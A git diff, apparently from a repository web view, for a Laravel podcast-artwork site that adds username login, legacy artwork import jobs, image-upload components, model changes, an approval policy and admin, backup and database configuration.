} }
@@ -41,6 +43,8 @@ class LoginRequest extends FormRequest
{ {
$this->ensureIsNotRateLimited(); $this->ensureIsNotRateLimited();
/*
if (! Auth::attempt($this->only('email', 'password'), $this->boolean('remember'))) { if (! Auth::attempt($this->only('email', 'password'), $this->boolean('remember'))) {
RateLimiter::hit($this->throttleKey()); RateLimiter::hit($this->throttleKey());
@@ -48,7 +52,20 @@ class LoginRequest extends FormRequest
'email' => trans('auth.failed'), 'email' => trans('auth.failed'),
]); ]);
} }
*/
$user = User::where('email', $this->login)
->orWhere('name', $this->login)
->first();
if (!$user || !Hash::check($this->password, $user->password)) {
RateLimiter::hit($this->throttleKey());
throw ValidationException::withMessages([
'login' => __('auth.failed'),
]);
}
Auth::login($user, $this->boolean('remember'));
RateLimiter::clear($this->throttleKey()); RateLimiter::clear($this->throttleKey());
} }

View File

@@ -0,0 +1,50 @@
<?php
namespace App\Http\Resources;
use Illuminate\Http\Request;
use Illuminate\Http\Resources\Json\JsonResource;
class LatestEpisodeResource extends JsonResource
{
/**
* Transform the resource into an array.
*
* @param Request $request
* @return array<string, mixed>
*/
public function toArray(Request $request): array
{
$podcast = $this->resource;
$artwork = $podcast->latestArtwork;
$episode = $artwork->episode;
$artist = $artwork->artist;
$static = config('app.static_asset_url');
$full = $static . '/artworks/' . $artwork->filename;
$thumb = $static . '/thumbnails/' . $artwork->filename;
$raw = (float) $episode->episode_number;
if (fmod($raw, 1) === 0.0) {
// no fractional part
$episodeNumber = (int) $raw;
} else {
// keep one decimal place
$episodeNumber = round($raw, 1);
}
return [
'artist_name' => $artist->name,
'artist_profile' => url('/artist/' . $artist->slug),
'artist_avatar' => $artist->avatar(),
'artwork_full' => $full,
'artwork_thumb' => $thumb,
'episode_title' => $episode->title,
'episode_number' => $episodeNumber,
'episode_date' => $episode->episode_date->format('Y-m-d'),
'episode_mp3' => $episode->mp3,
'podcast_title' => $podcast->name,
'podcast_archive' => url('/podcasts/' . $podcast->slug),
];
}
}

View File

@@ -0,0 +1,68 @@
<?php
namespace App\Jobs;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use App\Models\User;
use App\Models\Artist;
use Carbon\Carbon;
use App\Jobs\StashAndOptimizeLegacyArtworkJob;
class ImportLegacyUserJob implements ShouldQueue
{
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
protected $user;
/**
* Create a new job instance.
*/
public function __construct($user)
{
$this->user = $user;
}
/**
* Execute the job.
*/
public function handle(): void
{
$name = str_replace(' ', '', $this->user->username);
$email = strtolower(trim($this->user->email));
$email_verified_at = Carbon::parse($this->user->created_at);
$this->createUser($name, $email, $email_verified_at);
}
private function createUser($name, $email, $email_verified_at)
{
$user = User::where('name', $name)->first();
if (!$user) {
$user = User::factory()->state([
'name' => $name,
'email' => $email,
'email_verified_at' => $email_verified_at,
'remember_token' => null,
])->create();
}
$artist = Artist::where('user_id', $user->id)->first();
if (!$artist) {
$artist = Artist::factory()->state([
'user_id' => $user->id,
'name' => $this->user->profile->name,
'avatar' => null,
'header' => null,
'location' => $this->user->profile->location ?? 'No Agenda Art Generator',
'website' => $this->user->profile->website ?? null,
'bio' => null,
])->create();
}
foreach ($this->user->artworks as $artwork) {
StashAndOptimizeLegacyArtworkJob::dispatch($artist, $artwork);
}
}
}

View File

@@ -0,0 +1,36 @@
<?php
namespace App\Jobs;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use ImageOptimizer;
use Illuminate\Support\Facades\Log;
class OptimizeArtistHeaderJob implements ShouldQueue
{
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
private $path;
/**
* Create a new job instance.
*/
public function __construct($path)
{
$this->path = $path;
}
/**
* Execute the job.
*/
public function handle(): void
{
Log::info('Header: Optimizing ' . $this->path);
ImageOptimizer::optimize($this->path);
}
}

View File

@@ -0,0 +1,36 @@
<?php
namespace App\Jobs;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use ImageOptimizer;
use Illuminate\Support\Facades\Log;
class OptimizeAvatarJob implements ShouldQueue
{
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
private $path;
/**
* Create a new job instance.
*/
public function __construct($path)
{
$this->path = $path;
}
/**
* Execute the job.
*/
public function handle(): void
{
Log::info('Avatar: Optimizing ' . $this->path);
ImageOptimizer::optimize($this->path);
}
}

View File

@@ -0,0 +1,125 @@
<?php
namespace App\Jobs;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use App\Models\User;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Str;
use Intervention\Image\Facades\Image;
use Carbon\Carbon;
use ImageOptimizer;
class StashAndOptimizeLegacyArtworkJob implements ShouldQueue
{
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
protected $artist;
protected $artwork;
public $tries = 2;
/**
* Create a new job instance.
*/
public function __construct($artist, $artwork)
{
$this->artist = $artist;
$this->artwork = $artwork;
}
/**
* Execute the job.
*/
public function handle(): void
{
$date = Carbon::parse($this->artwork->created_at);
$basename = $date->format('Y')
. '/' . $date->format('m')
. '/' . Str::slug($this->artist->name)
. '-' . Str::slug($this->artwork->title)
. '_' . $this->artwork->id . '.jpg';
$filename = 'artworks/' . $basename;
$thumbnailName = 'thumbnails/' . $basename;
if (Storage::disk('static')->exists($filename)) {
Log::channel('artwork_import')->error($filename . ' already exists. Filesize: ' . Storage::disk('static')->size($filename));
$this->createArtwork($basename);
return;
}
$img = Image::make('/legacypublic' . $this->artwork->path . '/' . $this->artwork->filename)
->resize(3000, null, function ($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100);
$thumbImg = Image::make('/legacypublic' . $this->artwork->path . '/' . $this->artwork->filename)
->resize(512, null, function ($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100);
$imgLocation = Storage::disk('static')->put($filename, $img);
$thumbLocation = Storage::disk('static')->put($thumbnailName, $thumbImg);
$size_before = Storage::disk('static')->size($filename);
$thumb_size_before = Storage::disk('static')->size($thumbnailName);
ImageOptimizer::optimize(Storage::disk('static')->path($filename));
ImageOptimizer::optimize(Storage::disk('static')->path($thumbnailName));
$size_after = Storage::disk('static')->size($filename);
$thumb_size_after = Storage::disk('static')->size($thumbnailName);
$diff = $size_before - $size_after;
$thumbDiff = $thumb_size_before - $thumb_size_after;
Log::channel('artwork_import')->info('Filesize Before: ' . $size_before);
Log::channel('artwork_import')->info('Filesize After: ' . $size_after);
$perc_smaller = ($diff / $size_before) * 100;
$thumb_perc_smaller = ($thumbDiff / $thumb_size_before) * 100;
Log::channel('artwork_import')->info(number_format($perc_smaller, 2) . '% smaller.');
Log::channel('artwork_import')->info(number_format($thumb_perc_smaller, 2) . '% smaller thumbnail - ' . $thumb_size_after);
Log::channel('artwork_import')->info('Saved and resized ' . $filename);
$this->createArtwork($basename);
}
private function createArtwork($basename) {
$artwork = Artwork::where('legacy_id', $this->artwork->id)->first();
if (!$this->artwork->episode_id) {
$episode = Episode::where('episode_date', '>=', Carbon::parse($this->artwork->created_at)->startOfDay())
->orderBy('episode_date', 'asc')
->first();
} else {
$episode = Episode::where('legacy_id', $this->artwork->episode_id)->first();
}
if (!$artwork) {
$artwork = Artwork::where('filename', $basename)->first();
if ($artwork) {
$artwork->legacy_id = $this->artwork->id;
$artwork->episode_id = $episode->id ?? null;
$artwork->save();
return;
}
}
if (!$artwork) {
Log::channel('artwork_import')->info('making new artwork model for ' . $basename);
Artwork::factory()->state([
'title' => $this->artwork->title,
'artist_id' => $this->artist->id,
'description' => '',
'podcast_id' => 1,
'overlay_id' => $this->artwork->overlay_id,
'episode_id' => $episode->id ?? null,
'filename' => $basename ?? null,
'created_at' => Carbon::parse($this->artwork->created_at),
'updated_at' => Carbon::parse($this->artwork->updated_at),
'legacy_id' => $this->artwork->id,
])->create();
} else {
Log::channel('artwork_import')->info($artwork->id . ' has a model it exists with ' . $artwork->filename);
}
}
}

View File

@@ -0,0 +1,51 @@
<?php
namespace App\Livewire\Artist;
use Livewire\Component;
use Livewire\WithFileUploads;
use Spatie\Image\Image;
use Intervention\Image\Facades\Image as InterventionImage;
use ImageOptimizer;
use Illuminate\Support\Facades\Storage;
use Illuminate\Validation\Rules\File;
use Illuminate\Http\RedirectResponse;
use Livewire\Attributes\Validate;
use Illuminate\Support\Facades\Log;
use App\Jobs\OptimizeAvatarJob;
class Avatar extends Component
{
use WithFileUploads;
public $avatar;
public $x;
public $y;
public $width;
public $height;
public function render()
{
return view('livewire.artist.avatar');
}
public function save()
{
$disk = Storage::disk('static');
$avatar = $this->avatar->store('avatars', 'static');
Image::load($disk->path($avatar))
->manualCrop($this->width, $this->height, $this->x, $this->y)
->save();
Image::load($disk->path($avatar))
->width(350)
->height(350)
->save();
Log::info('Avatar: Optimizing ' . $disk->path($avatar));
OptimizeAvatarJob::dispatchSync($disk->path($avatar));
//ImageOptimizer::optimize($disk->path($avatar));
auth()->user()->artists()->first()->update(compact('avatar'));
$this->avatar = null;
return redirect(request()->header('Referer'));
}
}

View File

@@ -0,0 +1,50 @@
<?php
namespace App\Livewire\Artist;
use Livewire\Component;
use Livewire\WithFileUploads;
use Spatie\Image\Image;
use Intervention\Image\Facades\Image as InterventionImage;
use ImageOptimizer;
use Illuminate\Support\Facades\Storage;
use Illuminate\Validation\Rules\File;
use Illuminate\Http\RedirectResponse;
use Livewire\Attributes\Validate;
use Illuminate\Support\Facades\Log;
use App\Jobs\OptimizeArtistHeaderJob;
class Header extends Component
{
use WithFileUploads;
public $header;
public $x;
public $y;
public $width;
public $height;
public function render()
{
return view('livewire.artist.header');
}
public function save()
{
$disk = Storage::disk('static');
$header = $this->header->store('artist_headers', 'static');
Image::load($disk->path($header))
->manualCrop($this->width, $this->height, $this->x, $this->y)
->save();
Image::load($disk->path($header))
->width(270)
->height(185)
->save();
Log::info('Avatar: Optimizing ' . $disk->path($header));
OptimizeArtistHeaderJob::dispatchSync($disk->path($header));
auth()->user()->artists()->first()->update(compact('header'));
$this->header = null;
return redirect(request()->header('Referer'));
}
}

View File

@@ -0,0 +1,25 @@
<?php
namespace App\Livewire;
use Livewire\Component;
class Counter extends Component
{
public $count = 1;
public function increment()
{
$this->count++;
}
public function decrement()
{
$this->count--;
}
public function render()
{
return view('livewire.counter');
}
}

View File

@@ -0,0 +1,24 @@
<?php
namespace App\Livewire;
use Livewire\Component;
class Themeswitch extends Component
{
public function light()
{
session()->put('preferred_theme', 'light');
}
public function dark()
{
session()->put('preferred_theme', 'dark');
}
public function render()
{
return view('livewire.themeswitch');
}
}

View File

@@ -16,9 +16,31 @@ class Artist extends Model
protected $dates = ['created_at', 'updated_at', 'deleted_at']; protected $dates = ['created_at', 'updated_at', 'deleted_at'];
protected $casts = [
'created_at' => 'datetime',
'updated_at' => 'datetime',
'deleted_at' => 'datetime',
];
protected $fillable = [
'user_id',
'name',
'slug',
'avatar',
'header',
'location',
'alby',
'naasocial',
'website',
'bio',
'created_at',
'updated_at',
'deleted_at',
];
public function user() public function user()
{ {
return $this->belongs_to(User::class); return $this->belongsTo(User::class);
} }
public function artworks() public function artworks()
@@ -41,4 +63,20 @@ class Artist extends Model
return $this->hasMany(Wallet::class); return $this->hasMany(Wallet::class);
} }
public function avatar()
{
if (!$this->avatar) {
return config('app.static_asset_url') . '/avatars/default_avatar_male.svg';
}
return config('app.static_asset_url') . '/' . $this->avatar;
}
public function header()
{
if (!$this->header) {
return config('app.static_asset_url') . '/artist_headers/default_artist_banner.png';
}
return config('app.static_asset_url') . '/' . $this->header;
}
} }

View File

@@ -16,6 +16,12 @@ class Artwork extends Model
protected $dates = ['created_at', 'updated_at', 'deleted_at']; protected $dates = ['created_at', 'updated_at', 'deleted_at'];
protected $casts = [
'created_at' => 'datetime',
'updated_at' => 'datetime',
'deleted_at' => 'datetime',
];
public function podcast() public function podcast()
{ {
return $this->belongsTo(Podcast::class); return $this->belongsTo(Podcast::class);

View File

@@ -14,6 +14,13 @@ class Episode extends Model
protected $dates = ['episode_date', 'created_at', 'updated_at', 'deleted_at']; protected $dates = ['episode_date', 'created_at', 'updated_at', 'deleted_at'];
protected $casts = [
'episode_date' => 'date',
'created_at' => 'datetime',
'updated_at' => 'datetime',
'deleted_at' => 'datetime',
];
public function podcast() public function podcast()
{ {
return $this->belongsTo(Podcast::class); return $this->belongsTo(Podcast::class);
@@ -21,7 +28,17 @@ class Episode extends Model
public function artwork() public function artwork()
{ {
return $this->hasOne(Artwork::class); return $this->hasOne(Artwork::class, 'id', 'artwork_id');
}
public function approvedArtworks()
{
return $this->hasMany(Artwork::class)->whereNotNull('artworks.approved_by');
}
public function artworks()
{
return $this->hasMany(Artwork::class);
} }
public function artist() public function artist()

View File

@@ -16,6 +16,12 @@ class Overlay extends Model
protected $dates = ['created_at', 'updated_at', 'deleted_at']; protected $dates = ['created_at', 'updated_at', 'deleted_at'];
protected $casts = [
'created_at' => 'datetime',
'updated_at' => 'datetime',
'deleted_at' => 'datetime',
];
public function artist() public function artist()
{ {
return $this->belongsTo(Artist::class); return $this->belongsTo(Artist::class);

View File

@@ -16,6 +16,13 @@ class Podcast extends Model
protected $dates = ['created_at', 'updated_at', 'deleted_at', 'added_at']; protected $dates = ['created_at', 'updated_at', 'deleted_at', 'added_at'];
protected $casts = [
'created_at' => 'datetime',
'updated_at' => 'datetime',
'deleted_at' => 'datetime',
'added_at' => 'datetime',
];
public function episodes() public function episodes()
{ {
return $this->hasMany(Episode::class); return $this->hasMany(Episode::class);
@@ -26,4 +33,27 @@ class Podcast extends Model
return $this->hasManyThrough(Artist::class, Episode::class); return $this->hasManyThrough(Artist::class, Episode::class);
} }
public function latestEpisode()
{
return $this->hasOne(Episode::class)
->where('published', true)
->orderBy('episode_number', 'desc');
}
public function latestArtwork()
{
// this follows the hasOneThrough from Episode → Artwork
return $this->hasOneThrough(
Artwork::class, // final model
Episode::class, // intermediate
'podcast_id', // FK on episodes
'id', // PK on artworks
'id', // PK on podcasts
'artwork_id' // FK on episodes → artworks
)
->where('episodes.published', true)
->orderBy('episodes.episode_number', 'desc');
}
} }

View File

@@ -14,8 +14,6 @@ class User extends Authenticatable
protected $table = 'users'; protected $table = 'users';
protected $dates = ['created_at', 'updated_at'];
/** /**
* The attributes that are mass assignable. * The attributes that are mass assignable.
* *
@@ -44,6 +42,17 @@ class User extends Authenticatable
*/ */
protected $casts = [ protected $casts = [
'email_verified_at' => 'datetime', 'email_verified_at' => 'datetime',
'created_at' => 'datetime',
'updated_at' => 'datetime',
];
/**
* The attributes that should be appended.
*
* @var array<string, string>
*/
protected $appends = [
]; ];
public function artists() public function artists()
@@ -56,9 +65,9 @@ class User extends Authenticatable
return $this->hasManyThrough(Artwork::class, Artist::class); return $this->hasManyThrough(Artwork::class, Artist::class);
} }
public function episodes() public function selectedForEpisodes()
{ {
return $this->hasManyThrough(Episode::class, Artwork::class); return $this->artists()->first()->episodes;
} }
public function wallets() public function wallets()

View File

@@ -13,6 +13,11 @@ class Wallet extends Model
protected $dates = ['created_at', 'updated_at']; protected $dates = ['created_at', 'updated_at'];
protected $casts = [
'created_at' => 'datetime',
'updated_at' => 'datetime',
];
public function walletType() public function walletType()
{ {
return $this->hasOne(WalletType::class); return $this->hasOne(WalletType::class);

View File

@@ -13,6 +13,11 @@ class WalletType extends Model
protected $dates = ['created_at', 'updated_at']; protected $dates = ['created_at', 'updated_at'];
protected $casts = [
'created_at' => 'datetime',
'updated_at' => 'datetime',
];
public function wallets() public function wallets()
{ {
return $this->hasMany(Wallet::class); return $this->hasMany(Wallet::class);

View File

@@ -0,0 +1,34 @@
<?php
namespace App\Policies;
use App\Models\User;
use App\Models\Artwork;
class ArtworkPolicy
{
/**
* Create a new policy instance.
*/
public function __construct()
{
//
}
public function viewAny(?User $user): bool
{
return true;
}
public function approve(User $user): bool
{
if ($user->id == 4) {
return true;
}
$selectedCount = $user->selectedForEpisodes()->count();
if ($selectedCount > 5) {
return true;
}
return false;
}
}

View File

@@ -3,6 +3,9 @@
namespace App\Providers; namespace App\Providers;
use Illuminate\Support\ServiceProvider; use Illuminate\Support\ServiceProvider;
use Illuminate\Pagination\Paginator;
use Illuminate\Support\Facades\View;
use App\Models\Podcast;
class AppServiceProvider extends ServiceProvider class AppServiceProvider extends ServiceProvider
{ {
@@ -19,6 +22,8 @@ class AppServiceProvider extends ServiceProvider
*/ */
public function boot(): void public function boot(): void
{ {
// Paginator::useBootstrapFive();
$publishedPodcasts = Podcast::where('published', true)->select(['name', 'slug'])->get();
View::share(['navPodcasts' => $publishedPodcasts]);
} }
} }

View File

@@ -4,6 +4,8 @@ namespace App\Providers;
// use Illuminate\Support\Facades\Gate; // use Illuminate\Support\Facades\Gate;
use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider; use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider;
use App\Policies\ArtworkPolicy;
use App\Models\Artwork;
class AuthServiceProvider extends ServiceProvider class AuthServiceProvider extends ServiceProvider
{ {
@@ -13,7 +15,7 @@ class AuthServiceProvider extends ServiceProvider
* @var array<class-string, class-string> * @var array<class-string, class-string>
*/ */
protected $policies = [ protected $policies = [
// Artwork::class => ArtworkPolicy::class,
]; ];
/** /**

View File

@@ -0,0 +1,58 @@
<?php
namespace App\Providers\Filament;
use Filament\Http\Middleware\Authenticate;
use Filament\Http\Middleware\DisableBladeIconComponents;
use Filament\Http\Middleware\DispatchServingFilamentEvent;
use Filament\Pages;
use Filament\Panel;
use Filament\PanelProvider;
use Filament\Support\Colors\Color;
use Filament\Widgets;
use Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse;
use Illuminate\Cookie\Middleware\EncryptCookies;
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken;
use Illuminate\Routing\Middleware\SubstituteBindings;
use Illuminate\Session\Middleware\AuthenticateSession;
use Illuminate\Session\Middleware\StartSession;
use Illuminate\View\Middleware\ShareErrorsFromSession;
class AdminPanelProvider extends PanelProvider
{
public function panel(Panel $panel): Panel
{
return $panel
->default()
->id('admin')
->path('admin')
->login()
->colors([
'primary' => Color::Amber,
])
->discoverResources(in: app_path('Filament/Resources'), for: 'App\\Filament\\Resources')
->discoverPages(in: app_path('Filament/Pages'), for: 'App\\Filament\\Pages')
->pages([
Pages\Dashboard::class,
])
->discoverWidgets(in: app_path('Filament/Widgets'), for: 'App\\Filament\\Widgets')
->widgets([
Widgets\AccountWidget::class,
Widgets\FilamentInfoWidget::class,
])
->middleware([
EncryptCookies::class,
AddQueuedCookiesToResponse::class,
StartSession::class,
AuthenticateSession::class,
ShareErrorsFromSession::class,
VerifyCsrfToken::class,
SubstituteBindings::class,
DisableBladeIconComponents::class,
DispatchServingFilamentEvent::class,
])
->authMiddleware([
Authenticate::class,
]);
}
}

View File

@@ -17,7 +17,7 @@ class RouteServiceProvider extends ServiceProvider
* *
* @var string * @var string
*/ */
public const HOME = '/dashboard'; public const HOME = '/';
/** /**
* Define your route model bindings, pattern filters, and other route configuration. * Define your route model bindings, pattern filters, and other route configuration.
@@ -28,6 +28,11 @@ class RouteServiceProvider extends ServiceProvider
return Limit::perMinute(60)->by($request->user()?->id ?: $request->ip()); return Limit::perMinute(60)->by($request->user()?->id ?: $request->ip());
}); });
RateLimiter::for('password-reset', function (Request $request) {
$key = Str::lower($request->input('email')).'|'.$request->ip();
return Limit::perHour(5)->by($key);
});
$this->routes(function () { $this->routes(function () {
Route::middleware('api') Route::middleware('api')
->prefix('api') ->prefix('api')

0
site/artisan Executable file → Normal file
View File

3
site/build.sh Executable file
View File

@@ -0,0 +1,3 @@
#!/bin/bash
yarn build
mv ./public/build/.vite/manifest.json ./public/build/manifest.json

View File

@@ -2,16 +2,27 @@
"name": "laravel/laravel", "name": "laravel/laravel",
"type": "project", "type": "project",
"description": "The skeleton application for the Laravel framework.", "description": "The skeleton application for the Laravel framework.",
"keywords": ["laravel", "framework"], "keywords": [
"laravel",
"framework"
],
"license": "MIT", "license": "MIT",
"require": { "require": {
"php": "^8.1", "php": "^8.1",
"andreiio/blade-remix-icon": "^2.6",
"blade-ui-kit/blade-icons": "^1.5",
"filament/filament": "^3.0-stable",
"guzzlehttp/guzzle": "^7.2", "guzzlehttp/guzzle": "^7.2",
"intervention/image": "^2.7", "intervention/image": "^2.7",
"laravel/framework": "^10.10", "laravel/framework": "^10.10",
"laravel/sanctum": "^3.2", "laravel/sanctum": "^3.3",
"laravel/tinker": "^2.8", "laravel/tinker": "^2.8",
"livewire/livewire": "^2.12" "livewire/livewire": "^3.2",
"mckenziearts/blade-untitledui-icons": "^1.2",
"predis/predis": "^2.2",
"spatie/image": "^2.2",
"spatie/laravel-backup": "^9.3",
"spatie/laravel-image-optimizer": "^1.7"
}, },
"require-dev": { "require-dev": {
"fakerphp/faker": "^1.9.1", "fakerphp/faker": "^1.9.1",
@@ -28,7 +39,10 @@
"App\\": "app/", "App\\": "app/",
"Database\\Factories\\": "database/factories/", "Database\\Factories\\": "database/factories/",
"Database\\Seeders\\": "database/seeders/" "Database\\Seeders\\": "database/seeders/"
} },
"files": [
"app/Helpers/pcagHelpers.php"
]
}, },
"autoload-dev": { "autoload-dev": {
"psr-4": { "psr-4": {
@@ -38,7 +52,8 @@
"scripts": { "scripts": {
"post-autoload-dump": [ "post-autoload-dump": [
"Illuminate\\Foundation\\ComposerScripts::postAutoloadDump", "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
"@php artisan package:discover --ansi" "@php artisan package:discover --ansi",
"@php artisan filament:upgrade"
], ],
"post-update-cmd": [ "post-update-cmd": [
"@php artisan vendor:publish --tag=laravel-assets --ansi --force" "@php artisan vendor:publish --tag=laravel-assets --ansi --force"

5434
site/composer.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -59,6 +59,8 @@ return [
'asset_url' => env('ASSET_URL'), 'asset_url' => env('ASSET_URL'),
'static_asset_url' => env('STATIC_ASSET_URL'),
/* /*
|-------------------------------------------------------------------------- |--------------------------------------------------------------------------
| Application Timezone | Application Timezone
@@ -167,6 +169,7 @@ return [
App\Providers\AuthServiceProvider::class, App\Providers\AuthServiceProvider::class,
// App\Providers\BroadcastServiceProvider::class, // App\Providers\BroadcastServiceProvider::class,
App\Providers\EventServiceProvider::class, App\Providers\EventServiceProvider::class,
App\Providers\Filament\AdminPanelProvider::class,
App\Providers\RouteServiceProvider::class, App\Providers\RouteServiceProvider::class,
])->toArray(), ])->toArray(),

103
site/config/backup.php Normal file
View File

@@ -0,0 +1,103 @@
<?php
use Spatie\Backup\Notifications\Notifiable;
use Spatie\Backup\Tasks\Cleanup\Strategies\DefaultStrategy;
use Spatie\Backup\Tasks\Monitor\HealthChecks\MaximumAgeInDays;
use Spatie\Backup\Tasks\Monitor\HealthChecks\MaximumStorageInMegabytes;
return [
'backup' => [
/*
* The name of this application. You can use this name to monitor the backups.
*/
'name' => env('APP_NAME', 'laravel-backup'),
'source' => [
'files' => [
'include' => [
base_path(),
],
'exclude' => [
base_path('vendor'),
base_path('node_modules'),
],
'follow_links' => false,
'ignore_unreadable_directories' => false,
'relative_path' => null,
'temporary_directory' => storage_path('app/backup-temp'),
],
'databases' => [
env('DB_CONNECTION', 'mysql'),
],
],
'database_dump_compressor' => null,
'database_dump_file_timestamp_format' => null,
'database_dump_filename_base' => 'database',
'database_dump_file_extension' => '',
'destination' => [
'compression_method' => \ZipArchive::CM_DEFAULT,
'compression_level' => 9,
'filename_prefix' => '',
'disks' => [
'local',
],
],
'temporary_directory' => storage_path('app/backup-temp'),
'password' => env('BACKUP_ARCHIVE_PASSWORD'),
'encryption' => 'default',
'tries' => 1,
'retry_delay' => 0,
],
'notifications' => [
'notifications' => [],
'notifiable' => Notifiable::class,
'mail' => [
'to' => env('BACKUP_MAIL_TO', 'your@example.com'),
'from' => [
'address' => env('MAIL_FROM_ADDRESS', 'hello@example.com'),
'name' => env('MAIL_FROM_NAME', 'Example'),
],
],
'slack' => [
'webhook_url' => env('BACKUP_SLACK_WEBHOOK', ''),
'channel' => null,
'username' => null,
'icon' => null,
],
'discord' => [
'webhook_url' => '',
'username' => '',
'avatar_url' => '',
],
],
'monitor_backups' => [
[
'name' => env('APP_NAME', 'laravel-backup'),
'disks' => ['local'],
'health_checks' => [
MaximumAgeInDays::class => 1,
MaximumStorageInMegabytes::class => 5000,
],
],
],
'cleanup' => [
'strategy' => DefaultStrategy::class,
'default_strategy' => [
'keep_all_backups_for_days' => 7,
'keep_daily_backups_for_days' => 0,
'keep_weekly_backups_for_weeks' => 0,
'keep_monthly_backups_for_months' => 0,
'keep_yearly_backups_for_years' => 0,
'delete_oldest_backups_when_using_more_megabytes_than' => PHP_INT_MAX,
],
'tries' => 1,
'retry_delay' => 0,
],
];

183
site/config/blade-icons.php Normal file
View File

@@ -0,0 +1,183 @@
<?php
return [
/*
|--------------------------------------------------------------------------
| Icons Sets
|--------------------------------------------------------------------------
|
| With this config option you can define a couple of
| default icon sets. Provide a key name for your icon
| set and a combination from the options below.
|
*/
'sets' => [
// 'default' => [
//
// /*
// |-----------------------------------------------------------------
// | Icons Path
// |-----------------------------------------------------------------
// |
// | Provide the relative path from your app root to your SVG icons
// | directory. Icons are loaded recursively so there's no need to
// | list every sub-directory.
// |
// | Relative to the disk root when the disk option is set.
// |
// */
//
// 'path' => 'resources/svg',
//
// /*
// |-----------------------------------------------------------------
// | Filesystem Disk
// |-----------------------------------------------------------------
// |
// | Optionally, provide a specific filesystem disk to read
// | icons from. When defining a disk, the "path" option
// | starts relatively from the disk root.
// |
// */
//
// 'disk' => '',
//
// /*
// |-----------------------------------------------------------------
// | Default Prefix
// |-----------------------------------------------------------------
// |
// | This config option allows you to define a default prefix for
// | your icons. The dash separator will be applied automatically
// | to every icon name. It's required and needs to be unique.
// |
// */
//
// 'prefix' => 'icon',
//
// /*
// |-----------------------------------------------------------------
// | Fallback Icon
// |-----------------------------------------------------------------
// |
// | This config option allows you to define a fallback
// | icon when an icon in this set cannot be found.
// |
// */
//
// 'fallback' => '',
//
// /*
// |-----------------------------------------------------------------
// | Default Set Classes
// |-----------------------------------------------------------------
// |
// | This config option allows you to define some classes which
// | will be applied by default to all icons within this set.
// |
// */
//
// 'class' => '',
//
// /*
// |-----------------------------------------------------------------
// | Default Set Attributes
// |-----------------------------------------------------------------
// |
// | This config option allows you to define some attributes which
// | will be applied by default to all icons within this set.
// |
// */
//
// 'attributes' => [
// // 'width' => 50,
// // 'height' => 50,
// ],
//
// ],
],
/*
|--------------------------------------------------------------------------
| Global Default Classes
|--------------------------------------------------------------------------
|
| This config option allows you to define some classes which
| will be applied by default to all icons.
|
*/
'class' => '',
/*
|--------------------------------------------------------------------------
| Global Default Attributes
|--------------------------------------------------------------------------
|
| This config option allows you to define some attributes which
| will be applied by default to all icons.
|
*/
'attributes' => [
// 'width' => 50,
// 'height' => 50,
],
/*
|--------------------------------------------------------------------------
| Global Fallback Icon
|--------------------------------------------------------------------------
|
| This config option allows you to define a global fallback
| icon when an icon in any set cannot be found. It can
| reference any icon from any configured set.
|
*/
'fallback' => '',
/*
|--------------------------------------------------------------------------
| Components
|--------------------------------------------------------------------------
|
| These config options allow you to define some
| settings related to Blade Components.
|
*/
'components' => [
/*
|----------------------------------------------------------------------
| Disable Components
|----------------------------------------------------------------------
|
| This config option allows you to disable Blade components
| completely. It's useful to avoid performance problems
| when working with large icon libraries.
|
*/
'disabled' => false,
/*
|----------------------------------------------------------------------
| Default Icon Component Name
|----------------------------------------------------------------------
|
| This config option allows you to define the name
| for the default Icon class component.
|
*/
'default' => 'icon',
],
];

View File

@@ -56,6 +56,26 @@ return [
'collation' => 'utf8mb4_unicode_ci', 'collation' => 'utf8mb4_unicode_ci',
'prefix' => '', 'prefix' => '',
'prefix_indexes' => true, 'prefix_indexes' => true,
'strict' => false,
'engine' => null,
'options' => extension_loaded('pdo_mysql') ? array_filter([
PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'),
]) : [],
],
'legacy' => [
'driver' => 'mysql',
'url' => env('LEGACY_DATABASE_URL'),
'host' => env('LEGACY_DB_HOST', '127.0.0.1'),
'port' => env('LEGACY_DB_PORT', '3306'),
'database' => env('LEGACY_DB_DATABASE', 'forge'),
'username' => env('LEGACY_DB_USERNAME', 'forge'),
'password' => env('LEGACY_DB_PASSWORD', ''),
'unix_socket' => env('DB_SOCKET', ''),
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'prefix_indexes' => true,
'strict' => true, 'strict' => true,
'engine' => null, 'engine' => null,
'options' => extension_loaded('pdo_mysql') ? array_filter([ 'options' => extension_loaded('pdo_mysql') ? array_filter([
@@ -148,4 +168,4 @@ return [
], ],
]; ];

View File

@@ -0,0 +1,66 @@
<?php
use Spatie\ImageOptimizer\Optimizers\Cwebp;
